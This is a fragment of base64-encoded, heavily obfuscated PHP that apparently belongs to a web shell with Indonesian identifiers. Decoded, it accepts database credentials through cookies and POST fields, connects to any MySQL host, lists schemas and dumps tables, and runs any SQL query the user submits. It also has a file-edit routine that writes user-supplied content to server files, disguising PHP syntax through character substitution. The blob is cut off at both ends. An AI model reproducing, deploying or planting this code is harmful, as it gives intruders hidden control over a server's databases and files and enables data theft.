JdIDogJyc7ICRzYW5kaSA9IGlzc2V0KCRfQ09PS0lFWyJceDczXHg2MVwxNTZceDY0XHg2OSJdKSA/ICRfQ09PS0lFWyJcMTYzXHg2MVwxNTZceDY0XHg2OSJdIDogJyc7ICRkYXRhYmFzZSA9IGlzc2V0KCRfQ09PS0lFWyJceDY0XDE0MVx4NzRcMTQxXHg2Mlx4NjFcMTYzXHg2NSJdKSA/ICRfQ09PS0lFWyJceDY0XHg2MVx4NzRceDYxXHg2MlwxNDFcMTYzXDE0NSJdIDogJyc7IGlmIChpc3NldCgkX1BPU1RbIlwxNTBceDZmXHg3M1wxNjQiXSwgJF9QT1NUWyJcMTY1XHg3M1wxNDVcMTYyIl0sICRfUE9TVFsiXHg3M1wxNDFcMTU2XDE0NFx4NjkiXSkgJiYgaXNfc3RyaW5nKCRfUE9TVFsiXHg2OFwxNTdcMTYzXDE2NCJdKSAmJiBpc19zdHJpbmcoJF9QT1NUWyJcMTY1XDE2M1x4NjVceDcyIl0pICYmIGlzX3N0cmluZygkX1BPU1RbIlx4NzNcMTQxXHg2ZVx4NjRceDY5Il0pKSB7ICRob3N0ID0gJF9QT1NUWyJceDY4XHg2Zlx4NzNcMTY0Il07ICR1c2VyID0gJF9QT1NUWyJcMTY1XDE2M1wxNDVcMTYyIl07ICRzYW5kaSA9ICRfUE9TVFsiXHg3M1x4NjFceDZlXHg2NFx4NjkiXTsgJGRhdGFiYXNlID0gJyc7IHNldGNvb2tpZSgiXDE1MFwxNTdcMTYzXHg3NCIsICRob3N0LCB0aW1lKCkgKyAzNjAwMDApOyBzZXRjb29raWUoIlx4NzVceDczXHg2NVwxNjIiLCAkdXNlciwgdGltZSgpICsgMzYwMDAwKTsgc2V0Y29va2llKCJcMTYzXHg2MVx4NmVceDY0XDE1MSIsICRzYW5kaSwgdGltZSgpICsgMzYwMDAwKTsgc2V0Y29va2llKCJcMTQ0XDE0MVx4NzRcMTQxXDE0MlwxNDFcMTYzXHg2NSIsICRkYXRhYmFzZSwgdGltZSgpICsgMzYwMDAwKTsgfSBpZiAoaXNzZXQoJF9QT1NUWyJceDY0XHg2MVx4NzRceDYxXDE0MlwxNDFceDczXDE0NSJdKSAmJiBpc19zdHJpbmcoJF9QT1NUWyJceDY0XDE0MVwxNjRcMTQxXDE0MlwxNDFceDczXHg2NSJdKSkgeyAkZGF0YWJhc2UgPSAkX1BPU1RbIlwxNDRcMTQxXHg3NFx4NjFceDYyXDE0MVwxNjNceDY1Il07IHNldGNvb2tpZSgiXHg2NFx4NjFcMTY0XHg2MVwxNDJceDYxXHg3M1x4NjUiLCAkZGF0YWJhc2UsIHRpbWUoKSArIDM2MDAwMCk7IH0gJGRhdGFiYXNlU3RyID0gZW1wdHkoJGRhdGFiYXNlKSA/ICcnIDogIlwxNDRcMTQyXDE1Nlx4NjFcMTU1XHg2NVw3NSIgLiAkZGF0YWJhc2UgLiAiXDczIjsgPz4KCTxmb3JtIG1ldGhvZD0iUE9TVCI+CgkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYXdhbCIgdmFsdWU9InNrbCI+CgkJPGlucHV0IHR5cGU9InRleHQiIHBsYWNlaG9sZGVyPSJIb3N0bmFtZSIgbmFtZT0iaG9zdCIgdmFsdWU9Ijw/cGhwICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGhvc3QpOyA/PgoiPgoJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBwbGFjZWhvbGRlcj0iVXNlciIgbmFtZT0idXNlciIgdmFsdWU9Ijw/cGhwICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHVzZXIpOyA/PgoiPgoJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBwbGFjZWhvbGRlcj0iU2FuZGkiIG5hbWU9InNhbmRpIiB2YWx1ZT0iPD9waHAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc2FuZGkpOyA/PgoiPgoJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJNYXN1ayI+Cgk8L2Zvcm0+Cgk8P3BocCAgaWYgKCFlbXB0eSgkaG9zdCkpIHsgdHJ5IHsgJHBkbyA9IG5ldyBQRE8oIlx4NmRceDc5XDE2M1x4NzFceDZjXDcyXHg2OFwxNTdcMTYzXDE2NFx4M2QiIC4gJGhvc3QgLiAiXHgzYlx4NjNcMTUwXHg2MVx4NzJceDczXDE0NVx4NzRceDNkXHg3NVwxNjRcMTQ2XHgzOFx4M2IiIC4gJGRhdGFiYXNlU3RyLCAkdXNlciwgJHNhbmRpLCBhcnJheShQRE86Ok1ZU1FMX0FUVFJfSU5JVF9DT01NQU5EID0+ICJcMTIzXDEwNVwxMjRceDIwXHg0ZVwxMDFcMTE1XHg0NVwxMjNcNDBcNDdceDc1XDE2NFwxNDZcNzBcNDciKSk7ICRwZG8tPnNldEF0dHJpYnV0ZShQRE86OkFUVFJfREVGQVVMVF9GRVRDSF9NT0RFLCBQRE86OkZFVENIX0FTU09DKTsgJHNjaGVtYXRhcyA9ICRwZG8tPnF1ZXJ5KCJceDUzXDEwNVwxMTRcMTA1XDEwM1wxMjRcNDBceDczXHg2M1x4NjhceDY1XDE1NVx4NjFcMTM3XDE1Nlx4NjFceDZkXDE0NVx4MjBcMTA2XDEyMlx4NGZcMTE1XHgyMFwxNTFceDZlXHg2Nlx4NmZcMTYyXHg2ZFx4NjFcMTY0XDE1MVx4NmZceDZlXDEzN1x4NzNcMTQzXHg2OFx4NjVceDZkXDE0MVx4MmVceDczXHg2M1wxNTBcMTQ1XDE1NVx4NjFcMTY0XHg2MSIpOyBwcmludCAiXHgzY1x4NjZceDZmXHg3MlwxNTVcNDBcMTU1XDE0NVwxNjRcMTUwXDE1N1wxNDRceDNkXHgyMlx4NTBcMTE3XHg1M1x4NTRcNDJceDNlXHgzY1x4NjlceDZlXDE2MFwxNjVcMTY0XHgyMFx4NzRceDc5XHg3MFx4NjVcNzVceDIyXDE1MFx4NjlcMTQ0XDE0NFwxNDVceDZlXHgyMlw0MFwxNTZcMTQxXDE1NVwxNDVceDNkXDQyXHg2MVwxNjdceDYxXDE1NFx4MjJceDIwXDE2NlwxNDFcMTU0XDE2NVx4NjVceDNkXDQyXDE2M1wxNTNceDZjXHgyMlx4M2VceDNjXHg3M1wxNDVcMTU0XHg2NVwxNDNcMTY0XDQwXHg2ZVx4NjFceDZkXHg2NVx4M2RceDIyXDE0NFx4NjFcMTY0XDE0MVx4NjJceDYxXDE2M1wxNDVcNDJceDNlIjsgZm9yZWFjaCAoJHNjaGVtYXRhcy0+ZmV0Y2hBbGwoKSBhcyAkc2NoZW1hTmFtZSkgeyBwcmludCAiXDc0XDE1N1wxNjBcMTY0XDE1MVx4NmZcMTU2IiAuICgkZGF0YWJhc2UgPT0gJHNjaGVtYU5hbWVbIlx4NzNceDYzXDE1MFwxNDVceDZkXDE0MVwxMzdceDZlXDE0MVx4NmRceDY1Il0gPyAiXDQwXHg3M1x4NjVcMTU0XHg2NVx4NjNceDc0XDE0NVwxNDQiIDogJycpIC4gIlx4M2UiIC4gaHRtbHNwZWNpYWxjaGFycygkc2NoZW1hTmFtZVsiXDE2M1x4NjNcMTUwXDE0NVx4NmRcMTQxXDEzN1x4NmVcMTQxXHg2ZFwxNDUiXSkgLiAiXHgzY1w1N1wxNTdcMTYwXDE2NFx4NjlceDZmXDE1Nlw3NiI7IH0gcHJpbnQgIlx4M2NceDJmXDE2M1x4NjVceDZjXDE0NVx4NjNcMTY0XDc2XDQwXDc0XDE1MVwxNTZcMTYwXDE2NVwxNjRcNDBceDc0XHg3OVwxNjBcMTQ1XHgzZFw0MlwxNjNcMTY1XDE0MlwxNTVceDY5XHg3NFx4MjJcNDBcMTY2XDE0MVwxNTRcMTY1XDE0NVw3NVw0Mlx4NDdceDYxXDE2M1w0MVx4MjJcNzZcNzRceDJmXDE0Nlx4NmZcMTYyXHg2ZFw3NiI7IGlmICghZW1wdHkoJGRhdGFiYXNlKSkgeyAkdGFibGVzID0gJHBkby0+cHJlcGFyZSgiXHg1M1x4NDVcMTE0XHg0NVwxMDNcMTI0XHgyMFwxNjRceDYxXDE0Mlx4NmNceDY1XDEzN1x4NmVceDYxXDE1NVx4NjVceDIwXHg2Nlx4NzJcMTU3XHg2ZFw0MFx4NjlceDZlXHg2Nlx4NmZcMTYyXHg2ZFx4NjFcMTY0XHg2OVwxNTdcMTU2XDEzN1wxNjNceDYzXHg2OFx4NjVceDZkXDE0MVx4MmVceDc0XHg2MVx4NjJcMTU0XDE0NVwxNjNceDIwXDE2N1wxNTBceDY1XHg3Mlx4NjVceDIwXDE2NFx4NjFcMTQyXDE1NFwxNDVcMTM3XDE2M1wxNDNceDY4XHg2NVwxNTVceDYxXHgzZFx4M2YiKTsgJHRhYmxlcy0+ZXhlY3V0ZShhcnJheSgkZGF0YWJhc2UpKTsgJHRhYmxlcyA9ICR0YWJsZXMtPmZldGNoQWxsKCk7IHByaW50ICJcNzRceDY0XDE1MVwxNjZcNDBceDczXHg3NFx4NzlceDZjXHg2NVx4M2RcNDJcMTQ2XDE1NFx4NmZcMTQxXDE2NFw3Mlw0MFwxNTRceDY1XHg2Nlx4NzRceDNiXHgyMFx4NzdceDY5XHg2NFwxNjRcMTUwXHgzYVw0MFx4MzJcNjBceDI1XHgzYlx4MjBcMTU3XHg3NlwxNDVceDcyXHg2NlwxNTRceDZmXDE2N1w3Mlx4MjBceDYxXHg3NVwxNjRcMTU3XHgzYlw0MFx4NjJcMTU3XDE2Mlx4NjRceDY1XHg3Mlw1NVwxNjJcMTUxXDE0N1wxNTBceDc0XHgzYVx4MjBceDMxXDE2MFx4NzhceDIwXHg3M1x4NmZceDZjXHg2OVx4NjRceDIwXHgyM1x4MzlceDM5XDcxXDczXDQyXHgzZSI7IHByaW50ICJcNzRceDYxXHgyMFx4NjhceDcyXDE0NVwxNDZcNzVcNDJceDZhXDE0MVx4NzZcMTQxXHg3M1x4NjNceDcyXDE1MVwxNjBcMTY0XDcyXDE1MFx4NjFcMTU0XDE0MVwxNTVcMTQxXHg2ZVw1MFx4MjdcNzdcMTQxXHg3N1wxNDFceDZjXHgzZFx4NzNcMTUzXHg2Y1wxMzdceDY0XDQ3XHgyOVw3M1w0Mlw3Nlx4MjFceDIxXDQwXDEwNFwxNjVcMTU1XDE2MFx4MjBceDQ0XDEwMlx4MjBcNDFcNDFceDNjXHgyZlx4NjFceDNlXHgzY1x4NjhceDcyXDc2IjsgZm9yZWFjaCAoJHRhYmxlcyBhcyAkdGFibGVOYW1lKSB7ICR0YWJsZU5hbWUgPSAkdGFibGVOYW1lWyJceDc0XHg2MVx4NjJceDZjXDE0NVwxMzdcMTU2XHg2MVwxNTVceDY1Il07IHByaW50ICJcNzRceDYxXDQwXDE1MFwxNjJceDY1XHg2Nlw3NVx4MjJcMTUyXDE0MVwxNjZceDYxXHg3M1x4NjNceDcyXDE1MVx4NzBceDc0XDcyXHg2OFwxNDFcMTU0XDE0MVx4NmRceDYxXDE1Nlw1MFw0N1x4M2ZceDYxXHg3N1wxNDFcMTU0XDc1XDE2M1x4NmJcMTU0XHgyNlx4NzRcNzUiIC4gdXJsZW5jb2RlKHVybGVuY29kZShrdW5jaSgkdGFibGVOYW1lKSkpIC4gIlw0N1x4MjlceDIyXHgzZSIgLiBodG1sc3BlY2lhbGNoYXJzKCR0YWJsZU5hbWUpIC4gIlw3NFw1N1x4NjFcNzZceDNjXDE0Mlx4NzJceDNlIjsgfSBwcmludCAiXDc0XDU3XHg2NFx4NjlcMTY2XHgzZSI7IHByaW50ICJcNzRcMTQ0XHg2OVx4NzZceDIwXHg3M1wxNjRcMTcxXHg2Y1wxNDVcNzVceDIyXHg2NlwxNTRcMTU3XDE0MVx4NzRcNzJceDIwXHg2Y1wxNDVcMTQ2XDE2NFx4M2JceDIwXHg3MFx4NjFceDY0XHg2NFwxNTFceDZlXHg2N1w1NVx4NmNceDY1XHg2NlwxNjRcNzJcNDBceDMxXDYwXDE2MFx4NzhcNzNceDIwXDE2N1x4NjlcMTQ0XHg3NFwxNTBceDNhXDQwXHgzN1x4MzVcNDVceDNiXDQyXDc2IjsgaWYgKGlzc2V0KCRfUE9TVFsiXDE2NCJdKSAmJiBpc19zdHJpbmcoJF9QT1NUWyJcMTY0Il0pICYmICFlbXB0eSgkX1BPU1RbIlx4NzQiXSkpIHsgJHRhYmxlTmFtZSA9IHVyYWlrYW4odXJsZGVjb2RlKCRfUE9TVFsiXHg3NCJdKSk7IHByaW50ICJceDNjXDE2M1x4NzBceDYxXDE1Nlw0MFwxNDNceDZjXHg2MVx4NzNcMTYzXDc1XDQyXDE2MVwxNDFceDZjXHg2OVx4NmVcNDJcNzZceDU0XDE0MVwxNDJcMTU0XHg2NVw3Mlw3NFx4MmZceDczXDE2MFwxNDFcMTU2XHgzZVx4MjAiIC4gaHRtbHNwZWNpYWxjaGFycygkdGFibGVOYW1lKSAuICJcNDBcNTBceDIwXDc0XDE0MVx4MjBceDY4XHg3MlwxNDVcMTQ2XHgzZFx4MjJceDZhXDE0MVx4NzZcMTQxXHg3M1x4NjNcMTYyXHg2OVwxNjBceDc0XHgzYVwxNTBceDYxXDE1NFx4NjFcMTU1XHg2MVx4NmVceDI4XHgyN1w3N1wxNDFcMTY3XDE0MVx4NmNceDNkXDE2M1wxNTNceDZjXHg1ZlwxNDRcMTM3XHg3NFx4MjZceDc0XDc1IiAuIHVybGVuY29kZSh1cmxlbmNvZGUoa3VuY2koJHRhYmxlTmFtZSkpKSAuICJceDI3XDUxXDQyXDc2XHg0NFwxNjVceDZkXDE2MFx4M2NcNTdcMTQxXHgzZVx4MjBcNTFceDNjXHg2MlwxNjJcNzYiOyAkZ2V0Q29sdW1ucyA9ICRwZG8tPnByZXBhcmUoIlx4NTNceDQ1XHg0Y1wxMDVceDQzXDEyNFw0MFwxNDNcMTU3XHg2Y1x4NzVcMTU1XDE1Nlx4NWZcMTU2XHg2MVwxNTVcMTQ1XHgyMFx4NjZcMTYyXHg2Zlx4NmRceDIwXDE1MVx4NmVcMTQ2XHg2Zlx4NzJcMTU1XHg2MVwxNjRceDY5XDE1N1wxNTZceDVmXHg3M1x4NjNcMTUwXHg2NVwxNTVcMTQxXDU2XDE0M1wxNTdcMTU0XHg3NVx4NmRceDZlXDE2M1x4MjBcMTY3XDE1MFx4NjVcMTYyXHg2NVw0MFwxNjRcMTQxXDE0Mlx4NmNceDY1XHg1Zlx4NzNceDYzXHg2OFwxNDVceDZkXHg2MVx4M2RcNzdceDIwXHg2MVx4NmVcMTQ0XDQwXHg3NFx4NjFcMTQyXHg2Y1x4NjVceDVmXDE1NlwxNDFcMTU1XHg2NVx4M2RcNzciKTsgJGdldENvbHVtbnMtPmV4ZWN1dGUoYXJyYXkoJGRhdGFiYXNlLCAkdGFibGVOYW1lKSk7ICRjb2x1bW5zID0gJGdldENvbHVtbnMtPmZldGNoQWxsKCk7IGlmICgkY29sdW1ucykgeyAkZGF0YUNvdW50ID0gJHBkby0+cXVlcnkoIlx4NTNcMTA1XDExNFwxMDVcMTAzXHg1NFx4MjBcMTQzXDE1N1wxNjVcMTU2XHg3NFx4MjhcNjBceDI5XDQwXHg0MVwxMjNceDIwXDE2M1wxNjNceDIwXDE0NlwxNjJcMTU3XDE1NVx4MjBceDYwIiAuICR0YWJsZU5hbWUgLiAiXHg2MCIpOyAkZGF0YUNvdW50ID0gKGludCkgJGRhdGFDb3VudC0+ZmV0Y2hDb2x1bW4oKTsgcHJpbnQgIlx4M2NcMTYzXDE2MFx4NjFcMTU2XDQwXHg2M1wxNTRcMTQxXHg3M1wxNjNceDNkXDQyXHg3MVx4NjFcMTU0XHg2OVwxNTZcNDJceDNlXHg0M1wxNTdceDc1XDE1Nlx4NzRcNzJceDNjXDU3XDE2M1x4NzBcMTQxXDE1Nlx4M2VceDIwIiAuICRkYXRhQ291bnQgLiAiXHgzY1x4NjJceDcyXDc2XHgzY1wxNDJceDcyXDc2IjsgJHBhZ2VzID0gY2VpbCgkZGF0YUNvdW50IC8gMTAwKTsgJGN1cnJlbnRQYWdlID0gaXNzZXQoJF9QT1NUWyJceDY4XDE0MVwxNTRcMTQxXDE1NVwxNDFceDZlIl0pICYmIGlzX251bWVyaWMoJF9QT1NUWyJceDY4XHg2MVwxNTRcMTQxXDE1NVwxNDFceDZlIl0pICYmICRfUE9TVFsiXHg2OFx4NjFcMTU0XHg2MVwxNTVcMTQxXHg2ZSJdID49IDEgJiYgJF9QT1NUWyJcMTUwXHg2MVwxNTRcMTQxXDE1NVx4NjFcMTU2Il0gPD0gJHBhZ2VzID8gKGludCkgJF9QT1NUWyJceDY4XHg2MVwxNTRcMTQxXDE1NVwxNDFceDZlIl0gOiAxOyBmb3IgKCRwID0gMTsgJHAgPD0gJHBhZ2VzOyAkcCsrKSB7IHByaW50ICJceDNjXHg2MVx4MjBcMTYzXDE2NFwxNzFcMTU0XDE0NVx4M2RceDIyIiAuICgkY3VycmVudFBhZ2UgPT0gJHAgPyAiXDE0Mlx4NjFcMTQzXHg2YlwxNDdcMTYyXHg2Zlx4NzVcMTU2XHg2NFw3Mlx4MjBcNDNceDM0XHgzNFw2NFx4M2IiIDogJycpIC4gIlx4NmRcMTQxXDE2MlwxNDdceDY5XHg2ZVw1NVx4NmNcMTQ1XDE0Nlx4NzRcNzJceDIwXHgzMlx4NzBceDc4XDczXHgyMFwxNTVceDYxXDE2MlwxNDdceDY5XDE1Nlw1NVwxNDJceDZmXDE2NFwxNjRceDZmXHg2ZFw3Mlw0MFw2NVwxNjBcMTcwXDczXHgyMFwxNjBceDYxXDE0NFwxNDRcMTUxXDE1NlwxNDdceDNhXDQwXDYyXDE2MFx4NzhceDIwXHgzNlx4NzBceDc4XHgzYlx4MjBcMTQyXHg2ZlwxNjJceDY0XDE0NVwxNjJceDNhXHgyMFx4MzFceDcwXHg3OFx4MjBcMTYzXHg2Zlx4NmNcMTUxXHg2NFx4MjBcNDNcMTAxXDEwM1x4NDJceDM3XDY1XDY0XDczXHgyMFx4NzRcMTQ1XHg3OFx4NzRceDJkXHg2NFx4NjVceDYzXHg2ZlwxNjJcMTQxXHg3NFwxNTFceDZmXHg2ZVx4M2FceDIwXHg2ZVwxNTdcMTU2XHg2NVx4M2JceDIyXHgyMFx4NjhcMTYyXHg2NVx4NjZceDNkXDQyXDE1Mlx4NjFceDc2XHg2MVx4NzNcMTQzXHg3MlwxNTFceDcwXHg3NFx4M2FceDY4XDE0MVwxNTRcMTQxXDE1NVwxNDFcMTU2XDUwXHgyN1w3N1x4NjFcMTY3XHg2MVwxNTRcNzVcMTYzXDE1M1wxNTRceDI2XHg3NFx4M2QiIC4gdXJsZW5jb2RlKHVybGVuY29kZShrdW5jaSgkdGFibGVOYW1lKSkpIC4gIlw0NlwxNTBcMTQxXDE1NFx4NjFceDZkXHg2MVx4NmVceDNkIiAuICRwIC4gIlw0N1w1MVx4M2JcNDJcNzYiIC4gJHAgLiAiXDc0XDU3XHg2MVw3Nlw0MCI7IH0gcHJpbnQgIlw3NFx4NjJceDcyXDc2XDc0XHg2MlwxNjJcNzYiOyAkc3RhcnQgPSAxMDAgKiAoJGN1cnJlbnRQYWdlIC0gMSk7ICRkYXRhID0gJHBkby0+cXVlcnkoIlx4NTNcMTA1XDExNFx4NDVceDQzXDEyNFx4MjBcNTJceDIwXHg0NlwxMjJcMTE3XHg0ZFx4MjBcMTQwIiAuICR0YWJsZU5hbWUgLiAiXDE0MFw0MFwxMTRcMTExXDExNVx4NDlceDU0XHgyMCIgLiAkc3RhcnQgLiAiXDQwXDU0XHgyMFx4MzFceDMwXDYwIik7ICRkYXRhID0gJGRhdGEtPmZldGNoQWxsKCk7IHByaW50ICJcNzRcMTY0XDE0MVwxNDJcMTU0XHg2NVw3Nlw3NFx4NzRcMTUwXHg2NVx4NjFceDY0XDc2IjsgZm9yZWFjaCAoJGNvbHVtbnMgYXMgJGNvbHVtbkluZikgeyBwcmludCAiXHgzY1wxNjRceDY4XDc2IiAuIGh0bWxzcGVjaWFsY2hhcnMoJGNvbHVtbkluZlsiXHg2M1wxNTdcMTU0XHg3NVx4NmRceDZlXHg1ZlwxNTZcMTQxXDE1NVx4NjUiXSkgLiAiXHgzY1w1N1x4NzRcMTUwXDc2IjsgfSBwcmludCAiXHgzY1w1N1x4NzRceDY4XDE0NVx4NjFceDY0XDc2XDc0XDE2NFwxNDJcMTU3XHg2NFwxNzFcNzYiOyBmb3JlYWNoICgkZGF0YSBhcyAkcm93KSB7IHByaW50ICJceDNjXDE2NFwxNjJcNzYiOyBmb3JlYWNoICgkcm93IGFzICRrZXkgPT4gJHZhbCkgeyBwcmludCAiXDc0XHg3NFx4NjRcNzZceDNjXDE0NFwxNTFceDc2XHgzZSIgLiAkdmFsIC4gIlx4M2NceDJmXDE0NFwxNTFceDc2XDc2XHgzY1x4MmZceDc0XDE0NFx4M2UiOyB9IHByaW50ICJcNzRcNTdceDc0XDE2Mlw3NiI7IH0gcHJpbnQgIlx4M2NcNTdcMTY0XDE2Mlw3Nlw3NFw1N1wxNjRcMTQyXHg2ZlwxNDRcMTcxXDc2XHgzY1w1N1x4NzRceDYxXDE0Mlx4NmNceDY1XHgzZSI7IH0gZWxzZSB7IHByaW50ICJcMTI0XDE0MVx4NjJcMTU0XDE0NVx4MjBcMTU2XDE1N1wxNjRceDIwXHg2NlwxNTdceDc1XHg2ZVwxNDRcNDEiOyB9IH0gZWxzZSB7IGlmIChpc3NldCgkX1BPU1RbIlwxNDVceDZkXHg3MiJdKSAmJiBpc19zdHJpbmcoJF9QT1NUWyJcMTQ1XHg2ZFwxNjIiXSkgJiYgIWVtcHR5KCRfUE9TVFsiXDE0NVx4NmRcMTYyIl0pKSB7ICRlbXIgPSB1cmFpa2FuKHVybGRlY29kZSgkX1BPU1RbIlwxNDVcMTU1XHg3MiJdKSk7IHByaW50ICJceDNjXHg3M1x4NzBcMTQxXDE1Nlw0MFx4NjNceDZjXHg2MVwxNjNceDczXDc1XHgyMlwxNjFceDYxXDE1NFwxNTFceDZlXDQyXDc2XDEyM1x4NTFcMTE0XHgyMFx4NjVcMTU1XDE2Mlw3Mlx4M2NceDJmXHg3M1x4NzBcMTQxXDE1Nlx4M2VceDIwIiAuIGh0bWxzcGVjaWFsY2hhcnMoJGVtcikgLiAiXHgzY1x4NjJceDcyXDc2IjsgJGRhdGEgPSAkcGRvLT5xdWVyeSgkZW1yKTsgJGRhdGEgPSAkZGF0YS0+ZmV0Y2hBbGwoKTsgcHJpbnQgIlw3NFwxNjRcMTQxXHg2MlwxNTRcMTQ1XHgzZVx4M2NcMTY0XDE1MFwxNDVcMTQxXHg2NFx4M2UiOyBpZiAoY291bnQoJGRhdGEpID4gMCkgeyBwcmludCAiXHgzY1x4NzRceDcyXHgzZSI7IGZvcmVhY2ggKCRkYXRhWzBdIGFzICRrZXkgPT4gJHZhbCkgeyBwcmludCAiXDc0XHg3NFx4NjhcNzZcNzRceDY0XDE1MVwxNjZceDNlIiAuICRrZXkgLiAiXHgzY1x4MmZceDY0XHg2OVx4NzZcNzZcNzRceDJmXDE2NFwxNTBceDNlIjsgfSBwcmludCAiXDc0XHgyZlwxNjRceDcyXHgzZSI7IH0gcHJpbnQgIlw3NFx4MmZcMTY0XHg2OFwxNDVcMTQxXHg2NFw3Nlw3NFwxNjRceDYyXDE1N1x4NjRcMTcxXHgzZSI7IGZvcmVhY2ggKCRkYXRhIGFzICRyb3cpIHsgcHJpbnQgIlw3NFwxNjRceDcyXHgzZSI7IGZvcmVhY2ggKCRyb3cgYXMgJGtleSA9PiAkdmFsKSB7IHByaW50ICJcNzRcMTY0XDE0NFx4M2VcNzRceDY0XHg2OVwxNjZceDNlIiAuICR2YWwgLiAiXHgzY1x4MmZcMTQ0XDE1MVx4NzZcNzZceDNjXHgyZlwxNjRceDY0XHgzZSI7IH0gcHJpbnQgIlx4M2NceDJmXHg3NFwxNjJceDNlIjsgfSBwcmludCAiXHgzY1w1N1x4NzRcMTYyXDc2XDc0XDU3XHg3NFx4NjJcMTU3XDE0NFx4NzlcNzZcNzRcNTdcMTY0XHg2MVx4NjJceDZjXHg2NVx4M2UiOyB9IH0gcHJpbnQgIlw3NFwxNDRcMTUxXDE2Nlw3Nlx4M2NceDc0XDE0NVwxNzBceDc0XDE0MVx4NzJcMTQ1XHg2MVx4MjBcMTUxXHg2NFw3NVx4MjJcMTYzXDE1M1wxNTRceDVmXHg2NVwxNTVceDcyXDQyXDc2XHgzY1w1N1wxNjRcMTQ1XHg3OFwxNjRceDYxXDE2Mlx4NjVcMTQxXDc2XDc0XDE0Mlx4NzVcMTY0XDE2NFx4NmZcMTU2XDQwXHg3NFwxNzFcMTYwXDE0NVw3NVw0Mlx4NjJceDc1XDE2NFwxNjRceDZmXHg2ZVw0Mlw0MFwxNTdceDZlXDE0M1x4NmNceDY5XHg2M1x4NmJceDNkXHgyMlx4NzNcMTUzXDE1NFx4NWZcMTQyXHg2MVx4NzNcNTBceDI5XDczXDQyXDc2XHg0Ylx4NmNcMTUxXDE1M1w3NFx4MmZcMTQyXHg3NVx4NzRceDc0XHg2ZlwxNTZcNzZcNzRcNTdceDY0XHg2OVwxNjZcNzYiOyBwcmludCAiXHgzY1x4MmZcMTQ0XDE1MVwxNjZceDNlIjsgcHJpbnQgIlx4M2NceDY0XHg2OVwxNjZceDIwXDE2M1x4NzRcMTcxXDE1NFx4NjVceDNkXDQyXHg2M1x4NmNceDY1XHg2MVx4NzJceDNhXDQwXDE0Mlx4NmZcMTY0XDE1MFw3M1w0Mlx4M2VceDNjXDU3XDE0NFwxNTFcMTY2XHgzZSI7IH0gfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7IHByaW50ICRlLT5nZXRNZXNzYWdlKCk7IH0gfSB9IGVsc2UgeyBpZiAoJGF3YWwgPT0gIlx4NjVceDY0XHg2OVx4NzRceDVmXHg2NlwxNTFcMTU0XDE0NSIgJiYgaXNzZXQoJF9QT1NUWyJcMTQ2XDE0MVwxNzFceDZjIl0pICYmICcnICE9IHRyaW0oJF9QT1NUWyJceDY2XDE0MVwxNzFcMTU0Il0pKSB7ICRuYW1hQmVya2FzID0gYmFzZW5hbWUodXJhaWthbih1cmxkZWNvZGUodXJsZGVjb2RlKCRfUE9TVFsiXDE0Nlx4NjFceDc5XDE1NCJdKSkpKTsgJHBlbWlzYWggPSBzdWJzdHIoJGRlZmF1bHRfZGlyLCBzdHJsZW4oJGRlZmF1bHRfZGlyKSAtIDEpICE9ICJcNTciICYmIHN1YnN0cigkbmFtYUJlcmthcywgMCwgMSkgIT0gIlw1NyIgPyAiXHgyZiIgOiAnJzsgaWYgKGlzX2ZpbGUoJGRlZmF1bHRfZGlyIC4gJHBlbWlzYWggLiAkbmFtYUJlcmthcykgJiYgaXNfcmVhZGFibGUoJGRlZmF1bHRfZGlyIC4gJHBlbWlzYWggLiAkbmFtYUJlcmthcykpIHsgJHN0YXR1cyA9ICcnOyBpZiAoaXNzZXQoJF9QT1NUWyJceDYzXHg2Zlx4NmVceDc0XHg2NVwxNTZcMTY0Il0pICYmIGlzc2V0KCRfUE9TVFsiXHg3NFwxNTdcMTU3XDE1MyJdKSAmJiAkX1BPU1RbIlx4NzRcMTU3XDE1N1wxNTMiXSAhPSAnJyAmJiBpc3NldCgkX1NFU1NJT05bIlx4NzlcMTYzXHg1Zlx4NzRceDZmXDE1N1wxNTMiXSkgJiYgJF9TRVNTSU9OWyJcMTcxXHg3M1x4NWZcMTY0XHg2ZlwxNTdceDZiIl0gPT0gJF9QT1NUWyJcMTY0XDE1N1wxNTdcMTUzIl0gJiYgaXNfd3JpdGVhYmxlKCRkZWZhdWx0X2RpciAuICRwZW1pc2FoIC4gJG5hbWFCZXJrYXMpKSB7IHVuc2V0KCRfU0VTU0lPTlsiXHg3OVx4NzNceDVmXHg3NFx4NmZceDZmXDE1MyJdKTsgJGNvbnRlbnQgPSAkX1BPU1RbIlx4NjNceDZmXHg2ZVwxNjRcMTQ1XDE1NlwxNjQiXTsgJGNjID0gYXJyYXkoIlwxNDEiLCAiXDE1MSIsICJcMTQ1IiwgIlx4NzMiLCAiXHg2YyIsICJcMTQyIiwgIlx4NzUiLCAiXHg2ZiIsICJceDcwIiwgIlx4NjgiLCAiXHgyOCIsICJceDI5IiwgIlw3NCIsICJceDNlIiwgIlw3NyIsICJceDNiIiwgIlwxMzMiLCAiXDEzNSIsICJcNDQiKTsgZm9yZWFjaCAoJGNjIGFzICRrMSA9PiAkdjEpIHsgJGNvbnRlbnQgPSBzdHJfcmVwbGFjZSgiXDE3NFx4M2EiIC4gJGsxIC4gIlw3MlwxNzQiLCAkdjEsICRjb250ZW50KTsgfSAkZmF5bEFjaCA9IGZvcGVuKCRkZWZhdWx0X2RpciAuICRwZW1pc2FoIC4gJG5hbWFCZXJrYXMsICJcMTY3XDUzIik7IGZ3cml0ZSgkZmF5bEFjaCwgJGNvbnRlbnQpOyBmY2xvc2UoJGZheWxBY2gpOyAkc3RhdHVzID0gIlx4MjBceDNjXHg3M1x4NzBceDYxXHg2ZVx4MjBcMTQzXDE1NFx4NjFcMTYzXDE2M1w3NVw0N1x4NzFcMTQxXHg2Y1x4NjlceDZlXDQ3XHgzZVx4NDJceDY1XDE2Mlx4NjhcMTQxXDE2M1x4NjlcMTU0XDQwXHg2NFx4NjlceDczXHg2OVwxNTVcMTYwXDE0MVwxNTZcNDFceDNjXDU3XDE2M1x4NzBcMTQxXDE1Nlx4M2UiOyB9ICRveHVVcmwgPSAiXHgzZlwxNDFcMTY3XDE0MVwxNTRceDNkXDE0MlwxNDFceDYzXDE0MVwxMzdcMTQ2XHg2OVwxNTRcMTQ1XDQ2XH